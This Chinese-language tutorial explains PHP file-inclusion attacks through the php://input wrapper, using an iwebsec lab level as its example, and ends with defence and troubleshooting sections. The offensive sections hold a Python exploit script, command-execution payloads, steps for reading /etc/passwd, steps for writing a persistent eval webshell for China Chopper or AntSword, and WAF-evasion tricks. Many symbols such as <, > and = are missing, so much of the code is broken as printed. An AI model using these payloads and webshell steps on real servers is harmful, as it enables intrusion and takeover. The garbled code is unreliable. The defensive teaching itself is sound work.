PHP文件包含漏洞深度解析:从php://input伪协议到实战利用
1. 项目概述从靶场实战到原理深挖最近在带新人做渗透测试基础训练发现很多朋友对文件包含漏洞的理解还停留在简单的../目录遍历或者include($_GET[‘file’])这种基础层面。当遇到一些过滤相对严格或者需要利用伪协议的场景时就有点无从下手了。正好iwebsec靶场的文件包含关卡设计得挺有梯度特别是第七关它把php://input伪协议的应用场景和利用条件非常清晰地呈现了出来。这不仅仅是一个“通关”的问题更是理解PHP流包装器Stream Wrappers和输入输出流如何被恶意利用的关键一课。php://input这个伪协议在实战中威力不小。它允许我们读取POST请求的原始数据体这意味着如果存在文件包含点并且服务端脚本不当地使用了file_get_contents()或include()等函数去读取它我们就有可能直接注入PHP代码并执行。这比单纯读取一个已存在的文件要主动得多相当于把一个“写”的能力通过“读”的接口给实现了。iwebsec的这个关卡就是一个绝佳的教学案例它剥离了复杂的干扰直指核心如何构造请求让php://input流中的数据被当作PHP代码解析。所以这篇内容不仅仅是iwebsec第七关的通关记录。我会带你一起从靶场这个“无菌实验室”出发彻底拆解php://input伪协议的工作原理、触发条件、利用方法并延伸到它在真实漏洞利用链中可能扮演的角色。无论你是正在刷靶场巩固基础的网络安全爱好者还是想深入理解PHP安全特性的开发者相信都能从中获得一些实实在在的“干货”。2. 核心漏洞原理与php://input机制解析2.1 文件包含漏洞的本质与分类在深入php://input之前我们必须先夯实文件包含漏洞的基础。它的核心思想是“代码复用”开发者为了省事会把一些通用功能比如数据库连接、头部尾部模板写进单独的文件然后在需要的地方用include、require、include_once、require_once这些函数引入。问题就出在这个“引入”的文件路径如果可以被用户控制漏洞就产生了。根据包含目标的位置可以分为两类本地文件包含LFI包含的是服务器本地的文件比如include(‘./templates/’ . $_GET[‘page’] . ‘.php‘);。攻击者可以通过目录遍历../../../etc/passwd读取敏感系统文件或者在特定条件下如日志文件、环境变量写入PHP代码后包含执行。远程文件包含RFI包含的是远程服务器上的文件比如include($_GET[‘url’]);。这要求allow_url_include配置为On现代PHP版本默认是Off非常危险。攻击者可以直接包含一个托管在自家服务器上的恶意脚本从而完全控制目标。而伪协议是PHP提供的一种特殊“流包装器”它允许我们像访问普通文件一样访问各种输入/输出流、数据流。在文件包含的语境下伪协议打开了一扇新的大门我们不再局限于包含一个实实在在的.php或.txt文件而是可以去“包含”一个HTTP请求体、一个压缩包里的文件、甚至是一段标准输入。php://input就是其中最具代表性也最需要特定条件的一个。2.2 php://input伪协议的工作机制php://input是一个只读流它获取的是HTTP请求体Request Body的原始数据。这里有几个关键点需要厘清“原始数据”的含义它获取的是未经解析的、最原始的POST数据。这与$_POST超全局变量有本质区别。$_POST只能获取到application/x-www-form-urlencoded或multipart/form-data这两种编码格式下经过PHP解析后的键值对数据。而php://input可以获取任何格式的原始数据比如纯文本、JSON、XML甚至是二进制数据。与$HTTP_RAW_POST_DATA的对比在老版本的PHP中$HTTP_RAW_POST_DATA也用于获取原始POST数据但它需要在php.ini中开启always_populate_raw_post_data选项并且当数据量过大时可能被截断。php://input则没有这些限制更通用、更可靠因此在新代码中已成为首选。一个至关重要的限制当请求的Content-Type是multipart/form-data时php://input是无效的。这是因为multipart/form-data格式的数据体结构复杂PHP需要对其进行特殊解析以处理文件上传此时原始输入流不可用。这意味着如果你的利用请求是带着文件上传的那php://input这条路就走不通。2.3 漏洞触发的关键条件要让php://input在文件包含漏洞中被成功利用需要同时满足以下几个条件缺一不可存在用户可控的文件包含点这是前提。程序中有include()、require()、file_get_contents()、fopen()等函数其参数的一部分或全部来自用户输入如$_GET、$_POST、$_COOKIE且没有进行有效的过滤或白名单校验。包含函数允许包含“流”include和require在包含php://input时会将其内容作为PHP代码执行。而file_get_contents()、fopen()等文件读取函数则只是读取其内容。在漏洞利用中我们通常追求代码执行所以包含函数是更理想的目标。allow_url_include配置的影响这是一个非常容易混淆的点。php://input和php://filter这类伪协议属于PHP内置的流包装器它们的启用与否取决于allow_url_include这个配置吗答案是不依赖。allow_url_include主要控制的是http://、ftp://这类远程URL的包含。php://、file://、data://等伪协议的启用由allow_url_fopen间接影响但通常默认开启且php://input的可用性更基础。在实战中只要PHP环境不是极度严格php://input基本都是可用的。请求方法必须是POST或PUT等有请求体的方法php://input读取的是请求体GET请求没有请求体所以此方法无效。必须使用POST、PUT等方法。请求的Content-Type不能是multipart/form-data如前所述这是硬性限制。iwebsec靶场的第七关就精心构造了一个同时满足以上所有最简条件的场景一个直接使用file_get_contents(“php://input”)的页面等待我们通过POST请求传递数据。它像一张白纸让我们可以最纯粹地观察和理解这个协议的利用过程。3. iwebsec靶场第七关实战演练3.1 环境启动与目标确认首先你需要一个运行起来的iwebsec靶场。假设你已经通过Docker或本地部署好了它。访问文件包含漏洞的第七关通常URL会类似于http://your-ip:port/vul/fileinclude/fi07.php。打开关卡页面我们首先进行信息收集。页面上可能只有简单的描述比如“请利用文件包含漏洞读取php://input”。查看网页源代码有时会有关键提示。但最直接有效的方式是直接查看服务器端的源码。iwebsec靶场通常在设计时会在页面某处提供“查看源码”的链接或者我们可以尝试常见的源码泄露路径如fi07.php?filefi07.php利用自身的文件包含漏洞读取自己或者fi07.php?file./fi07.php。在本次的关卡中我们假设直接给出了源码或者通过简单测试就能获取到。获取到的核心源码非常简单往往只有一两行?php echo file_get_contents(php://input); ?这就是全部。代码逻辑清晰得可怕它直接读取php://input流的内容并原样输出echo。这里没有用户输入的参数看起来似乎“不可控”。但请注意php://input这个流本身就是我们的输入接口。程序写死了要读取这个流而我们正是通过向这个页面发送POST请求的请求体来向这个流写入数据。3.2 利用工具准备与数据包构造我们不需要复杂的漏洞扫描工具。对于这种直接的数据交互一个能手动构造和发送HTTP请求的工具就足够了。这里强烈推荐Burp Suite和HackBar浏览器插件或者直接用命令行工具curl。它们能让你清晰地看到请求和响应的每一个字节对于理解原理至关重要。利用步骤分解确定攻击入口目标URL就是fi07.php这个页面本身。我们的攻击载荷不在URL参数里而在请求体里。构造恶意请求体既然file_get_contents()只是读取并回显我们首先测试它是否正常工作。我们发送一个简单的POST请求请求体为Hello,iwebsec!。使用Burp Suite拦截并重放请求打开浏览器访问目标页面。打开Burp Suite确保代理和浏览器配置正确拦截功能开启。在浏览器中随便进行一次操作比如点击按钮然后切换到Burp的Proxy - Intercept标签页你会看到拦截到的GET请求。我们需要将其改为POST请求。右键点击拦截到的请求选择“Send to Repeater”。在Repeater标签页中将请求方法从GET改为POST。在请求体Request body部分输入我们的测试字符串Hello,iwebsec!。点击“Send”发送请求。观察响应在右侧的响应Response面板中你应该能看到返回的内容正是Hello,iwebsec!。这证明php://input流被成功读取并且我们的数据能够无损地传递到echo语句。3.3 从信息读取到代码执行的关键跨越上面的测试只是证明了数据通道是通的。但我们的目标是代码执行而不仅仅是数据回显。这里就引出了文件包含漏洞利用中一个至关重要的概念包含函数与读取函数的区别。当前关卡使用的是file_get_contents()它是一个文件读取函数。它把php://input流的内容当作普通的文本数据读取出来然后echo给我们看。它不会去解析这些内容是不是PHP代码。如果代码换成这样呢?php include($_GET[file]); ?然后我们传入?filephp://input同时POST body里写入?php phpinfo();?。这时include()函数会执行。它会尝试去“包含”php://input这个流。include的行为是读取目标“文件”的内容并将其中的PHP代码插入到当前位置执行。当它读取php://input时拿到的是我们POST过去的?php phpinfo();?它会将这些内容当作PHP代码来解析和执行于是phpinfo()页面就被成功调用并返回。那么iwebsec这一关是不是就无法代码执行了不一定。这取决于靶场的设计。有时靶场为了教学会在后台使用include来包含php://input而前端只是用echo来展示结果。或者存在其他隐藏的参数或页面。我们需要灵活测试。实战技巧尝试参数污染。即使页面上没有明显的参数我们也可以尝试手动添加。例如尝试访问fi07.php?filephp://input同时发送POST请求体为PHP代码。如果后台代码逻辑是include($file)且$file默认值可能就是php://input或者通过其他方式获取那么我们的参数可能会生效。假设我们通过测试发现直接请求fi07.php并POST?php system(‘whoami’);?返回的是空或者是错误信息而不是代码执行结果。这说明这一关可能真的只用了file_get_contents。但这并不意味着学习到此为止。我们可以主动“升级”漏洞场景本地搭建实验环境在你自己控制的PHP服务器上创建一个模拟漏洞文件vul.php内容为?php include($_GET[f]); ?。复现利用过程访问http://your-test-site/vul.php?fphp://input用Burp Suite发送POST请求请求体为?php echo ‘Hacked!‘; ?。观察结果你会看到页面上输出了“Hacked!”这证明了在include场景下php://input可以导致直接的代码执行。通过这个对比实验你就能深刻理解file_get_contents和include在利用php://input时的本质区别一个是“读文本”一个是“执行代码”。4. 深度利用超越靶场的实战技巧4.1 利用链构建结合文件上传与日志注入单纯的php://input包含点可能在实战中不那么常见但它经常作为利用链中的关键一环。一个经典的场景是文件上传文件包含php://input。假设一个网站有上传功能但对上传文件的内容做了严格检查比如检查图片头导致我们无法直接上传包含PHP代码的“图片马”。但是它可能存在一个本地文件包含漏洞并且允许包含php://input。攻击思路如下我们无法上传.php文件但可以上传一个纯文本文件如info.txt里面写上PHP代码?php system($_GET[‘cmd’]);?。由于后缀是.txt可能绕过内容检查。找到文件包含点但发现无法直接包含上传的info.txt因为服务器可能配置了open_basedir限制或者我们不知道上传文件的确切路径。此时如果包含点支持php://input我们的攻击就活了。我们直接向包含点例如include.php?filephp://input发送一个POST请求请求体就是我们想执行的任意PHP代码比如?php echo file_get_contents(‘/etc/passwd’); ?。这样我们绕过了对上传文件内容的检查也绕过了对服务器上已知文件路径的依赖直接实现了代码执行。另一个常见场景是日志文件包含。如果我们能通过User-Agent、Referer等HTTP头将PHP代码注入到服务器的访问日志如/var/log/apache2/access.log中然后再利用LFI漏洞去包含这个日志文件就能执行代码。但这个过程需要两次请求一次注入一次包含并且日志文件可能很大包含速度慢。如果存在php://input包含我们可以一步到位在包含日志文件的请求中直接通过POST Body注入代码并立即执行更加直接高效。4.2 绕过WAF与过滤策略在真实环境中直接使用php://input可能会被Web应用防火墙WAF或简单的关键字过滤拦截。我们需要一些绕过技巧大小写混淆PHP://inputPhp://Input。PHP的流包装器标识符通常是不区分大小写的。使用编码URL编码php://input可以编码为php%3A%2F%2Finput。在GET参数中传递时可能需要双重编码。Base64编码需配合php://filter这是一个组合技。如果目标代码是include(base64_decode($_GET[‘file’]))我们可以先构造php://input的Base64编码cGhwOi8vaW5wdXQ传进去。但更常见的是利用php://filter的convert.base64-encode过滤器来读取文件与php://input是不同用途。利用协议栈在某些特定条件下可以尝试php://的其他变体但input是唯一的输入流。空格与填充在协议字符串前后添加空格、制表符、换行符等如php://input、php://input%0a。这取决于服务端过滤逻辑的严谨性。结合其他漏洞如果包含点对输入有严格的过滤但存在另一个参数污染或变量覆盖漏洞可能会间接控制包含流的路径。注意这些绕过手法的成功率高度依赖于目标应用的过滤逻辑。最有效的方法是通过模糊测试fuzzing系统性地尝试各种变形和组合。4.3 自动化利用脚本编写对于渗透测试人员将手动过程自动化是提高效率的关键。我们可以用Python编写一个简单的利用脚本。#!/usr/bin/env python3 import requests import sys def exploit_php_input(target_url, lfi_param, php_code): 利用php://input进行文件包含代码执行。 :param target_url: 存在文件包含漏洞的URL :param lfi_param: 包含参数名 :param php_code: 要执行的PHP代码 # 构造完整的请求URL参数值为php://input # 注意如果参数在路径中需要调整拼接方式 full_url f{target_url}?{lfi_param}php://input # 设置请求头Content-Type不能是multipart/form-data headers { Content-Type: application/x-www-form-urlencoded, # 或者 text/plain User-Agent: Mozilla/5.0 (Exploit Script) } # 发送POST请求请求体即为PHP代码 # 注意代码不需要额外的URL编码除非服务器有特殊处理 try: response requests.post(full_url, dataphp_code, headersheaders, timeout10) response.encoding utf-8 print(f[*] 目标URL: {full_url}) print(f[*] 发送的PHP代码: {php_code[:50]}...) # 打印前50字符 print(f[*] 响应状态码: {response.status_code}) print(f[*] 响应内容预览:\n{response.text[:500]}) # 打印前500字符 print(- * 50) # 简单判断是否执行成功例如响应中包含特定字符串 if phpinfo in php_code.lower() and PHP Version in response.text: print([] 可能成功执行了phpinfo()) # 这里可以添加更多自定义的成功判断逻辑 except requests.exceptions.RequestException as e: print(f[-] 请求失败: {e}) if __name__ __main__: if len(sys.argv) ! 4: print(f用法: {sys.argv[0]} 目标URL 包含参数名 PHP代码) print(f示例: {sys.argv[0]} http://target.com/vul.php file ?php echo system(\\id\\); ?) sys.exit(1) target sys.argv[1] param sys.argv[2] code sys.argv[3] exploit_php_input(target, param, code)脚本使用说明将上述代码保存为exploit_php_input.py。在命令行中运行python3 exploit_php_input.py “http://靶机地址/fi07.php” “file” “?php phpinfo();?”脚本会发送一个POST请求到指定URL并将PHP代码放在请求体中。脚本的局限性及增强方向参数位置该脚本假设漏洞参数在GET请求中。如果参数在POST里需要修改requests.post的params或data字段。结果解析脚本只做了简单的关键字匹配。在实际使用中你可能需要根据命令执行的结果如whoami,ls的输出来调整判断逻辑或者直接手动查看返回内容。编码处理如果目标对参数值有过滤可能需要在php://input字符串上添加编码。会话维持如果目标需要登录需要添加cookies或使用requests.Session()来维持会话状态。这个脚本提供了一个基础框架你可以根据实际的测试环境和遇到的具体情况对其进行修改和增强。5. 防御策略与安全开发建议理解了攻击原理防御措施就更有针对性。作为开发者应当从以下几个层面杜绝此类漏洞5.1 输入验证与白名单策略这是最根本、最有效的方法。对于文件包含的参数绝对不要信任任何用户输入。固定前缀后缀如果包含的文件是固定的模块如header.php,footer.php就不要使用动态参数。白名单机制如果必须动态包含请建立严格的白名单。只允许包含预定义好的、安全的文件。$allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php‘); } else { include(‘./templates/404.php‘); // 或者直接 die(‘Invalid page requested.’); }过滤危险协议在无法使用白名单的复杂场景至少要对输入进行过滤直接禁止出现://、..、php等关键字。但要注意绕过手法。$file $_GET[‘file’]; if (preg_match(‘/^(php|file|http|ftp|zlib|data|glob|expect):\/\//i’, $file)) { die(‘Dangerous protocol detected.’); } if (strpos($file, ‘..’) ! false) { die(‘Directory traversal attempt detected.’); }5.2 安全配置与环境加固PHP配置allow_url_include在php.ini中务必将其设置为Off。这是防止远程文件包含RFI的最后一道防线。虽然它不直接影响php://input但能阻断http://等远程包含。allow_url_fopen考虑将其设置为Off这会影响file_get_contents()对HTTP/FTP URL的读取也会影响部分伪协议但对php://input和php://filter通常无效。关闭它可以减少攻击面。open_basedir设置此选项将PHP脚本可访问的文件限制在指定的目录树中。即使存在LFI攻击者也无法跳出这个“监狱”去读取系统关键文件如/etc/passwd。disable_functions在php.ini中使用disable_functions指令禁用危险函数如system,exec,shell_exec,passthru,proc_open等。即使攻击者注入了PHP代码也无法执行系统命令极大地限制了漏洞的危害。Web服务器配置通过Nginx/Apache的规则对请求参数进行过滤拦截包含明显攻击特征的请求。5.3 代码审计与最佳实践避免动态包含重新审视架构是否真的需要动态文件包含很多情况下可以通过路由、控制器等现代MVC框架的方式实现彻底避免此类问题。使用安全的文件操作函数如果只需要读取文件内容而不执行优先使用file_get_contents()而不是include()。但需注意file_get_contents()配合php://input依然会泄露请求体数据应避免直接回显不可信的用户输入。最小权限原则运行Web服务的进程如www-data用户应该只拥有必要目录的最小读写权限。定期更新与审计保持PHP、Web服务器及所有依赖库的最新版本。定期进行代码安全审计特别是检查所有用户输入点。对于iwebsec第七关展示的那种直接echo file_get_contents(“php://input”)的代码在真实业务中几乎不会出现。但它像一面放大镜让我们看清了php://input这个数据通道的存在。更常见的漏洞是隐藏在复杂的业务逻辑背后例如从数据库读取一个“模板路径”字段而这个字段可以被用户间接控制最终传递给了include()函数。防御的关键始终在于对“不可信数据流向敏感函数”这一路径的严格管控。6. 常见问题与排查技巧实录在利用php://input或教学过程中你可能会遇到各种各样的问题。下面是我总结的一些常见坑点及解决方法。6.1 请求发送了但没有任何响应或返回空白可能原因1目标页面不是漏洞点。你请求的URL可能根本不存在文件包含漏洞或者包含的参数名猜错了。排查先用一个正常的GET请求访问页面查看响应。尝试用参数读取一个已知存在的文件如?file../../../../etc/passwdLinux或?file../../../../windows/win.iniWindows看是否有回显。先确认LFI存在再尝试伪协议。可能原因2请求方法错误。php://input需要POST、PUT等有请求体的方法。如果你用了GET请求体为空自然没内容。排查在Burp Suite或开发者工具中确认你的请求方法是POST。可能原因3Content-Type不正确。如果请求头中的Content-Type被设置为multipart/form-dataphp://input流将为空。排查将Content-Type改为application/x-www-form-urlencoded或text/plain。可能原因4PHP配置限制。极少数情况下服务器可能通过某些安全模块如Suhosin禁用了php://input流。排查尝试利用其他伪协议如php://filter/resource/etc/passwd来测试伪协议是否被整体禁用。或者如果条件允许查看服务器的PHP信息phpinfo()搜索allow_url_include和allow_url_fopen的状态。可能原因5代码逻辑有输出缓冲或条件判断。可能漏洞代码在某个条件分支里或者输出被ob_start()等函数缓冲了。排查尝试在POST数据中插入一个非常明显的标记如TEST然后在响应中全文搜索这个标记。或者查看网页源代码可能输出隐藏在HTML注释里。6.2 返回了PHP代码文本但没有执行可能原因1包含函数是file_get_contents()而非include()/require()。这是最可能的情况就像iwebsec第七关那样。file_get_contents()只读不执行。判断观察返回内容。如果POST的?php phpinfo();?被原封不动地打印出来甚至连?php ... ?标签都可见那就是被当作文本处理了。下一步寻找其他真正的包含点或者尝试利用这个读取功能去获取服务器上的敏感文件源码需结合目录遍历例如php://filter/convert.base64-encode/resourceconfig.php。可能原因2PHP短标签被禁用。如果服务器php.ini中的short_open_tag设置为Off那么? ... ?不会被解析。而?php ... ?是始终有效的。解决始终使用完整的?php ... ?标签。6.3 命令执行成功了但看不到输出可能原因1输出被重定向或包含在其它页面中。执行的命令可能有输出但被包裹在大量的HTML代码里不显眼。排查使用搜索功能浏览器CtrlF或Burp的搜索查找命令输出的特征比如执行whoami后可能出现的用户名。可能原因2命令执行函数被禁用。system(),shell_exec()等函数在disable_functions列表中。解决尝试使用未被禁用的函数如passthru(),exec()需配合输出参数,proc_open(), 或者用PHP文件操作函数读写文件。例如用file_put_contents(‘shell.php’, ‘?php eval($_POST[cmd]);?‘)写入一个Webshell。可能原因3无回显命令执行。你执行了像rm /tmp/test删除文件这样的命令它本身没有标准输出。解决使用有明确回显的命令测试如whoami,id,pwd,echo “test” /tmp/test.txt cat /tmp/test.txt写入并读取。6.4 利用工具如中国菜刀、蚁剑连接失败当你通过php://input写入了一个一句话Webshell如?php eval($_POST[‘pass’]);?并用客户端连接时失败。可能原因1Webshell写入位置不对。通过php://input执行代码是“一次性”的请求结束代码就消失了。你没有在服务器上永久写入文件。客户端工具需要连接一个持久化的脚本文件。解决利用php://input执行代码的瞬间编写一个文件落地的Webshell。例如POST以下代码?php file_put_contents(‘./shell.php’, ‘?php eval($_POST[cmd]);?‘);然后访问生成的shell.php再用客户端连接。可能原因2流量特征被WAF识别。中国菜刀、蚁剑的默认连接流量特征明显容易被拦截。解决使用更隐蔽的Webshell或工具提供的编码、加密功能。或者直接通过php://input进行交互式命令执行虽然麻烦但更隐蔽。例如每次POST这样的代码?php system($_GET[‘c’]); ?然后通过GET参数?cwhoami来执行命令。6.5 靶场环境与真实环境的差异最后必须清醒认识到靶场和真实环境的巨大差异靶场漏洞点明显通常没有WAF没有复杂的过滤和编码环境干净目的是教学。真实环境漏洞隐藏深有多层过滤和WAF可能有自定义的防护逻辑系统配置千差万别网络环境复杂。因此在靶场学到的是一种“理想模型”下的利用方法。在实战中需要更多的信息收集、更细致的测试、更多的绕过技巧和更严谨的验证。切勿把靶场的“一键通关”思维带到真实渗透测试中那是不专业且危险的。